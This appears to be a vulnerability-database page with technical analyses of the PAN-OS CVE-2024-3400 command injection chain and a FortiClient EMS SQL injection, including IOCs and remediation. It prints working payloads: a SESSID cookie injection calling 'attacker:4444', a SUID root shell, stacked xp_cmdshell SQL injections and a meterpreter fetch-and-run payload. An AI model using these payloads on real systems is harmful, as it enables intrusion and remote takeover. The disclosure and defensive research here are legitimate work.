Activity Feed

Technical Analysis

Overview

On April 12, 2024, Palo Alto Networks published an advisory for a critical unauthenticated command injection vulnerability affecting several recent versions of PAN-OS, the software that runs on most modern Palo Alto Networks firewall appliances. According to the vendor advisory, CVE-2024-3400 requires that either GlobalProtect Portal or GlobalProtect Gateway be enabled. GlobalProtect is the VPN feature of PAN-OS, and as such the vulnerable components are expected to be internet-facing.

Note: The vendor advisory originally indicated that device telemetry needed to be enabled in addition to GlobalProtect Portal or Gateway; as of April 16, the advisory notes that “Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.” Disabling device telemetry is also no longer considered an effective mitigation.

CVE-2024-3400 was discovered by security firm Volexity, which detected in-the-wild zero-day exploitation circa April 10, 2024. Both Volexity and Palo Alto Networks have extensive blog posts available with attacker behavior observations and indicators of compromise (IOCs).

Rapid7’s analysis of this vulnerability has identified that the exploit is in fact an exploit chain, consisting of two distinct vulnerabilities: an arbitrary file creation vulnerability in the GlobalProtect web server, for which no discrete CVE has been assigned, and a command injection vulnerability in the device telemetry feature, designated as CVE-2024-3400. If device telemetry is disabled, it is still possible to leverage the file creation vulnerability; at time of writing, however, Rapid7 has not identified an alternative way to leverage the file creation vulnerability for successful exploitation.

Our analysis also found that when device telemetry is enabled, a device certificate must be installed for device telemetry to successfully transmit telemetry data back to Palo Alto Networks. This transmission of data functionality is where the command injection vulnerability lies, and in our testing, the command injection vulnerability could not be triggered without a valid device certificate installed. We observed that transmission of telemetry data only occurs once an hour, per the vendor documentation.

This analysis detailed our findings using PAN-OS version 10.2.9, with GlobalProtect Portal, GlobalProtect Gateway, and device telemetry all enabled.

Analysis

Rooting the Device

Out of the box, PAN-OS implements a limited command-line administrator management shell for console and SSH. In order to perform comprehensive dynamic testing, we want root access to the device. Boot-time integrity checks are performed for many parts of the file system, preventing common easy backdoor tactics like modification of /etc/passwd. However, the /var directory isn’t checked for integrity on boot, which we’ll use to our advantage.

Since /var/appweb/htdocs contains the primary PHP web server files, it can be tampered with and leveraged for code execution as the nobody user. We’ll mount the VMDK virtual machine disk to an Ubuntu system and drop a web shell in the /var/appweb/htdocs/unauth/php directory. Furthermore, because root-level code execution is the goal, we also compile and place a statically linked SUID binary called root in the same directory:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Compile with /usr/bin/x86_64-linux-musl-gcc -static -o root root.c

int main (int argc, char *argv[]) {
   if (argc < 2) {
      fprintf(stdout, "usage: %s command\n", argv[0]);
      return 1;
   }

   setuid(0);
   setgid(0);
   setgroups(0, NULL);

   execl("/bin/sh", "sh", "-c", argv[1], (char *)NULL);

   perror("execl failed");
   return EXIT_FAILURE;
}

Then:

sudo chown root:root ./root && sudo chmod 4755 ./root

Starting the Palo Alto Networks VM and browsing to https://hostname/unauth/php/backdoor.php yields our web shell, which can be used to execute commands as root.

webshell1.png

We’ll execute ./root 'sed -i -e s@/opt/pancfg/home/admin:/usr/local/bin/cli@/opt/pancfg/home/admin:/bin/bash@g /etc/passwd' and snapshot the virtual machine to skip start-up integrity checks. Lastly, we authenticate the machine via SSH to confirm our regular shell is working.

ssh1.png

Diffing the Patch

After installing a vulnerable PAN-OS 10.2.9 in a VM and taking a snapshot, we updated our VM to the patched version 10.2.9-h1 and took another snapshot. By using the hard disk images from these snapshots we had access to the underlying hard disk images for each version. Each hard disk contains several partitions. The partition sysroot0 contains the file system contents we want to analyze.

Since we know that either GlobalProtect Portal or GlobalProtect Gateway is required for exploitation, we locate the GlobalProtect service binary /usr/local/bin/gpsvc. This binary services the HTTP requests for both the Portal and Gateway via an NGINX front end that proxies incoming requests to this internal service. The NGINX configuration can be found in /etc/nginx/sslvpm/location.conf.

The gpsvc is written in Go, and we can diff the vulnerable and patched version using a tool like BinDiff. Doing so quickly reveals a small change to the service.

bindiff1.png

The patched version of gpsvc adds a single function main_isValidSessionId. This function is used to ensure a session ID value (provided by an incoming HTTP request) is a valid UUID value, as shown below:

// main.isValidSessionId
bool __golang main_isValidSessionId(string sessionId)
{
  return (unsigned __int64)github_com_google_uuid_Parse(sessionId)._r2.tab == 0;
}

The main_isValidSessionId function is called by main__ptr_SessDiskStore_New and will extract an HTTP request’s session ID value from the SESSID HTTP cookie. It will then verify that the session ID value is a UUID before either creating a new session file on disk using the value, or loading an existing session from disk if one already exists. If the session ID is not a UUID value, an “invalid session id” message is logged. We can therefore speculate that in a vulnerable version of PAN-OS, an attacker-controlled session ID can contain arbitrary values that are not a valid UUID and that these may be written to disk when creating a new session for the incoming request.

As we still have not identified the command injection vulnerability, we locate the programs that perform the device telemetry feature. These include:

  • /usr/local/bin/devicetelemetry
  • /usr/local/bin/telemetry_collection.py
  • /etc/device_telemetry/cfg_telem.yaml
  • /usr/local/bin/dt_send
  • /usr/local/bin/dt_curl

We identify dt_curl as containing several modifications, which clearly show two locations that have been modified to prevent command injection from occurring.

--- a/10.2.9_dt_curl
+++ b/10.2.9_h1_dt_curl
@@ -431,26 +431,28 @@ def get_key(logger, dbg, ip, fname, \
    content_type_str = " -H \"Content-Type: application/json\""
    # with stg5 cdl rx, port is not required
    #api_endpoint_str = "'https://%s:8443/upload/start'" %ip
-   api_endpoint_str = "'https://%s/upload/start'" %ip
+   api_endpoint_str = "https://%s/upload/start" %ip

    # Note: in the latest stage5 cdl setup, cert type is not required. Set it to empty
    if cert_type.lower() != CLIENT_CERT_TYPE_P12.lower():
        cert_type_str = ""

-   curl_cmd_fmt = None
    source_ip_str = get_source_ip(logger,dbg)
    if source_ip_str is not None and source_ip_str != "":
-       curl_cmd_fmt = "/usr/bin/curl -v %s %s --interface %s" %(cert_type_str, cert_file_str,source_ip_str)
+       payload = '{"fileName":"' + fname + '","schema":"telemetry.raw"}'
+       curl_list = ['/usr/bin/curl', '-v', '--key', f"{client_key}", '--cert', f"{cert_file}", '--capath', f"{capath}", '-H',
+                    'Content-Type: application/json', '--interface', f"{source_ip_str}", '-X', 'POST',
+                    f"{api_endpoint_str}", "-d", f"{payload}"]
    else:
-       curl_cmd_fmt = "/usr/bin/curl -v %s %s" %(cert_type_str, cert_file_str)
+       payload = '{"fileName":"' + fname + '","schema":"telemetry.raw"}'
+       curl_list = ['/usr/bin/curl', '-v', '--key', f"{client_key}", '--cert', f"{cert_file}", '--capath', f"{capath}", '-H',
+                    'Content-Type: application/json', '-X', 'POST', f"{api_endpoint_str}", "-d", f"{payload}"]

    if dbg:
-       logger.info("S1: KEY: CDL: curl cmd format: %s" %curl_cmd_fmt)
-   curl_cmd = "%s  -H \"Content-Type: application/json\" -X POST %s -d'{ \"fileName\": \"%s\", \"schema\": \"telemetry.raw\"}'" \
-                   %(curl_cmd_fmt, api_endpoint_str, fname)
-   if dbg:
-       logger.info("S1: KEY: CDL curl cmd: %s" %curl_cmd)
-   stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)
+       logger.info("S1: KEY: CDL curl cmd: %s" %repr(curl_list))
+       logger.info("S1: KEY: CDL curl cmd: %s" % " ".join(curl_list))
+
+   stat, rsp, err, pid = pansys(curl_list, shell=False, timeout=250)
    if dbg:
        logger.info("S1: CDL: RSP KEY STAT: %s" %stat)
        logger.info("S1: CDL: RSP KEY RESPONSE: %s" %rsp)
@@ -512,14 +514,14 @@ def get_key(logger, dbg, ip, fname, \
 def send_file(logger, dbg, fname, dest_ip, key, signedUrl, capath):
     source_ip_str = get_source_ip(logger,dbg)
     if source_ip_str is not None and source_ip_str != "":
-        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
-                     %(signedUrl, fname, capath, source_ip_str)
+        curl_list = ['/usr/bin/curl', '-v', '-H', 'Content-Type: application/octet-stream', '-X', 'PUT', f"{signedUrl}", '--data-binary', f"@{fname}", '--capath', f"{capath}", '--interface', f"{source_ip_str}"]
     else:
-        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
-                     %(signedUrl, fname, capath)
+        curl_list = ['/usr/bin/curl', '-v', '-H', 'Content-Type: application/octet-stream', '-X', 'PUT', f"{signedUrl}", '--data-binary', f"@{fname}", '--capath', f"{capath}"]
+
     if dbg:
-        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
-    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)
+        logger.info("S2: XFILE: send_file: curl_list: '%s'" %repr(curl_list))
+        logger.info("S2: XFILE: send_file: curl cmd: '%s'" % " ".join(curl_list))
+    stat, rsp, err, pid = pansys(curl_list, shell=False, timeout=250)

     if dbg:
         logger.info("S2: send_file: RSP STAT: %s" %stat)

We can see from the diff of the send_file function above that a command string is constructed to execute the cURL binary in order to upload a file to a server, and this command string is passed to the pansys function to execute the command. We can also see from the diff that the shell parameter to pansys has been changed from True to False.

Examining the vulnerable version of the send_file function in isolation, we can see how it works below:

def send_file(logger, dbg, fname, dest_ip, key, signedUrl, capath):
    source_ip_str = get_source_ip(logger,dbg)
    if source_ip_str is not None and source_ip_str != "": 
        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \
                     %(signedUrl, fname, capath, source_ip_str)
    else:
        curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \
                     %(signedUrl, fname, capath)
    if dbg:
        logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd)
    stat, rsp, err, pid = pansys(curl_cmd, shell=True, timeout=250)

It is likely that an attacker-controlled file name passed in the fname variable can be used to perform command injection when the curl_cmd string is executed via pansys.

The function pansys is from a library function pansys.pansys().dosys located in /usr/lib64/python3.6/site-packages/pansys/pansys.py and has the following code:

    def dosys(self, command, close_fds=True, shell=False, timeout=30, first_wait=None):
        """call shell-command and either return its output or kill it
           if it doesn't normally exit within timeout seconds"""
    
        # Define dosys specific constants here
        PANSYS_POST_SIGKILL_RETRY_COUNT = 5

        # how long to pause between poll-readline-readline cycles
        PANSYS_DOSYS_PAUSE = 0.1

        # Use first_wait if time to complete is lengthy and can be estimated 
        if first_wait == None:
            first_wait = PANSYS_DOSYS_PAUSE

        # restrict the maximum possible dosys timeout
        PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60
        # Can support upto 2GB per stream
        out = StringIO()
        err = StringIO()

        try:
            if shell:
                cmd = command
            else:
                cmd = command.split()
        except AttributeError: cmd = command

        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1, shell=shell,
                 stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True)

We can see the command string is executed via subprocess.Popen and the shell parameter, when passed in by the vulnerable version of dt_send, will be True. This is unsafe, as the command string will be executed in the context of a Linux shell, and as such will have access to shell features, such as backticks, pipes, redirects, and so on — perfect for executing an attacker-controlled input.

Arbitrary File Creation

The gpsvc GlobalProtect application serves an HTTPS service on port 443.

gp1.png

The web server sets a SESSID cookie for unauthenticated sessions, and the data affiliated with the session cookie is placed in /tmp/sslvpn.

gp2.png

gp3.png

Since the cookie data is appended to the session_ string, we’ll try sending different data within the SESSID cookie:

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=test_data'

Checking the session directory confirms that our data was written!

$ ls -lha /tmp/sslvpn/session_test_data
-rw-------   1 root root    0 Apr 15 12:50 session_test_data

A quick test shows that the session_ prefix can be avoided altogether by prepending a traversal sequence, resulting in an arbitrary empty file write. The request type can be GET or POST, just so long as it’s a properly structured HTTPS request to a valid endpoint.

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../hello_as_root'

$ ls -lha /hello_as_root
-rw-------   1 root root    0 Apr 15 12:55 hello_as_root

Command Injection Exploitation

At this point, we’ve established some strong primitives. We have the ability to create arbitrarily named empty files anywhere on the file system as root. Since we’ve also determined that the telemetry service is vulnerable to command injection via the file name parameter, we can begin to put the pieces together. The telemetry service runs routinely, via the cron job located in /etc/cron.d/device_telemetry_send. The script /usr/local/bin/dt_send will crawl the /opt/panlogs/tmp/device_telemetry/hour and /opt/panlogs/tmp/device_telemetry/day directories for new files, then include the file names in a cURL request every hour, via the /usr/local/bin/dt_curl script.

Notably, we did not observe payloads placed in /opt/panlogs/tmp/device_telemetry/minute executing on our vulnerable 10.2.9 test instances. Based on Palo Alto Networks’s documentation, it appears that PAN-OS may transmit telemetry differently across affected versions, so payload placement requirements and execution timelines may vary.

To trigger remote code execution, we perform an unauthenticated cURL request to the GlobalProtect web server with a crafted payload in the SESSID cookie value. When the server executes its telemetry transmission process once per hour, the payload will be executed and removed from the telemetry directory.

curl https://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

After a short wait, we can establish remote code execution:

$ ps auxfw
[..]
/usr/bin/python -t /usr/local/bin/dt_curl -i 35.184.126.116 -f /opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

On the attacker machine, a Python web server receives a GET request that indicates our code was executed with root privileges.

python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
192.168.50.226 - - [15/Apr/2024 19:00:17] "GET /?user=root HTTP/1.1" 200 -

IOCs

Successful exploitation may leave artifacts in several folders and log files used by PAN-OS.

The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log all HTTP requests to /var/log/nginx/sslvpn_access.log. While we will not be able to see the HTTP POST data with the malicious SESSID cookies, we can view the requests the server has processed and the associated client IP address. Note the SESSID cookie can be passed via other HTTP methods, such as GET.

192.168.86.34 51232 - 192.168.86.20 20077 [16/Apr/2024:02:53:31 -0700] "POST /global-protect/logout.esp HTTP/1.1" 200 4406 "-" "curl/8.4.0" 1713261211.617 0.002 0.002 987
127.0.0.1 57108 - 127.0.0.1 20077 [16/Apr/2024:02:54:03 -0700] "GET /sslvpn_ngx_status HTTP/1.1" 200 103 "-" "Wget/1.19.5 (linux-gnu)" 1713261243.774 0.000 - 989
192.168.86.34 51275 - 192.168.86.20 20077 [16/Apr/2024:02:54:24 -0700] "POST /global-protect/login.esp HTTP/1.1" 200 11364 "-" "curl/8.4.0" 1713261264.522 0.002 0.002 991

Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests, as shown below:

192.168.86.34   [2024-04-16 02:53:31.616147783 -0700 PDT] POST /global-protect/logout.esp HTTP/1.1 0 200 4406, taskid 37
[rate] http request rate is 0.1/s in last 10 seconds
192.168.86.34   [2024-04-16 02:54:24.521150674 -0700 PDT] POST /global-protect/login.esp HTTP/1.1 0 200 11364, taskid 38
[rate] http request rate is 0.1/s in last 10 seconds

When targeting device telemetry for command injection, the attacker will place a 0 length file in one of the subfolders in /opt/panlogs/tmp/device_telemetry/, such as /opt/panlogs/tmp/device_telemetry/hour/ or /opt/panlogs/tmp/device_telemetry/day/. This file name will include characters suitable for command injection. The contents of this folder, and the sub-folders, should be reviewed for suspicious 0 length files.

The log file /var/log/pan/device_telemetry_send.log will show the command being injected:

2024-04-16 10:03:03,628 dt_send INFO TX_DIR: send file dir: /opt/panlogs/tmp/device_telemetry/day/, n_files: 1
2024-04-16 10:03:03,628 dt_send INFO sorted file list: tmp_dir: /opt/panlogs/tmp/device_telemetry/day/*
2024-04-16 10:03:03,629 dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:03:03,629 dt_send INFO TX FILE: send_fname: /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:03:03,630 dt_send INFO TX_FILE: dest server ip: 35.184.126.116
2024-04-16 10:03:03,630 dt_send INFO TX FILE: send_file_cmd: /usr/local/bin/dt_curl -i 35.184.126.116 -f /opt/panlogs/tmp/device_telemetry/day/aaa`curl${IFS}attacker:4444?user=$(whoami)`
2024-04-16 10:05:21,152 dt_send INFO TX FILE: curl cmd status: 24, 24; err msg: 'DNS lookup failed'

Remediation

The following versions of PAN-OS are listed as vulnerable as of April 16, 2024. Notably, Palo Alto Networks has updated the advisory with additional vulnerable versions since releasing the original advisory on CVE-2024-3400.

  • PAN-OS 11.1 (before 11.1.2-h3)
  • PAN-OS 11.0 (before 11.0.4-h1)
  • PAN-OS 10.2 (before 10.2.7-h8, before 10.2.8-h3, before 10.2.9-h1)
  • Additional versions have been added to the advisory since initial publication

Patches are available from the vendor and should be applied on an urgent basis. If you are unable to apply patches, Rapid7 strongly recommends applying one of the vendor-supplied mitigations on an emergency basis. Please see the vendor advisory for further information.

References

1

Thanks for the reply.

Vendor documentation on this page here: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000PLXiCAO
identifies that /ssl-vpn/hipreportcheck.esp is valid. at least validates the legitimacy of the POC.

Vendor also specififed that client HIP may be blocked if URL filtering is applied “to outside to outside allow rule.” indicating it might be another mitigation for the POC exploit.

Also included log entries for if URL blocking is enabled. If URL blocking is applied as specified above might be able to use these logs to determine if attempted exploitation has occurred.

(T1884) 10/04/19 10:04:39:708 Debug(1253): SSL3 alert write:warning:close notify
(T1884) 10/04/19 10:04:39:709 Info (4309): SendNReceive() failed.
(T1884) 10/04/19 10:04:39:709 Debug(4136): Send hip report check failed <<<<

1
Ratings
Technical Analysis

An OS command injection vulnerability exists within Palo Alto Global Protect effecting the following versions with an overall rating of 10/10:

PAN-OS 11.1 < 11.1.2-h3
PAN-OS 11.0 < 11.0.4-h1
PAN-OS 10.2 < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1

Current information known is that this vulnerability also requires that GlobalProtect gateway and device telemetry are configured. Mitigating exploitation of this vulnerability can be done by disabling telemetry according to the vendor.

An brief OSINT investigation reveals that POC exploit code of this vulnerability does exist in the wild but during my search I only found one reference and no other articles covering the root cause of this vulnerability. Poc can be found here: https://github.com/h4x0r-dz/CVE-2024-3400?tab=readme-ov-file credit to w2xim3 for finding this

Please feel free to correct any inaccurate information. in this post. thank you.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.

Testing SQLi

One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; – into the vulnerable FCTID parameter:

MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; --
IP=127.0.0.1
MAC=86:fc:61:82:77:66
FCT_ONNET=0
CAPS=32767
VDOM=default
EC_QUARANTINED=0
SIZE=    1581

X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NDUzQzIwNzYtODA2Mi00NEEwLUExNUYtRTkxQzYzREVCMUJCCk5XSUZTPUV0aGVybmV0MHwyNTEuMjUxLjIyMC4yN3wxNTpiYzphZjowZDo0Yjo3M3wyNDIuMTI0LjE5Ny43Nnw3Nzo5ZTpiOTpjMTo5Njo4NnwxfCp8MApVVEM9MTcxMDI3MTc3NApQQ19ET01BSU49CkNPTV9NQU49Vk13YXJlLCBJbmMuCkNQVT1JbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjE1IENQVSBAIDIuNTBHSHoKTUVNPTEyMjg3CkhERD05OQpDT01fU049Vk13YXJlLTQyIDA0IGVkIDJkIDY0IGU4IDBiIDE0LTQ1IGU5IGU0IGY2IDVhIGM3IDY3IDgyCkRPTUFJTj0KV09SS0dST1VQPVdPUktHUk9VUApVU0VSX1NJRD1TLTEtNS0yMS0zMC0wLTMwLTUwMApHUk9VUF9UQUc9CkFER1VJRD0KRVBfRkdUQ0hLU1VNPTAKRVBfUlVMRUNIS1NVTT0wCldGX0ZJTEVTQ0hLU1VNPTAKRVBfQVBQQ1RSTENIS1NVTT0wCg==
X-FCCK-REGISTER-END

A vulnerable endpoint will return a response containing the string KA_INTERVAL like so:

FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|

Getting RCE

The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell and then use it to execute a payload:

      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",

When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload> (as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell.

Metasploit Module Demo

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options

Module options (exploit/windows/http/forticlient_ems_fctid_sqli):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.199.200   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8013             yes       The target port (TCP)
   VHOST                    no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FqgyHVSnYd       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               8383             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:8383
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to 172.16.199.200
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700

meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 16
Meterpreter     : x64/windows
meterpreter >

IOCs

There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\ that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log and you can see the vulnerability being exploited as the FTCUID parameter CBE8FC122B1A46D18C3541E1A8EFF7BD' is being injected with SQL commands which enable the xp_cmdshell which is then used to launch calc.exe

"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

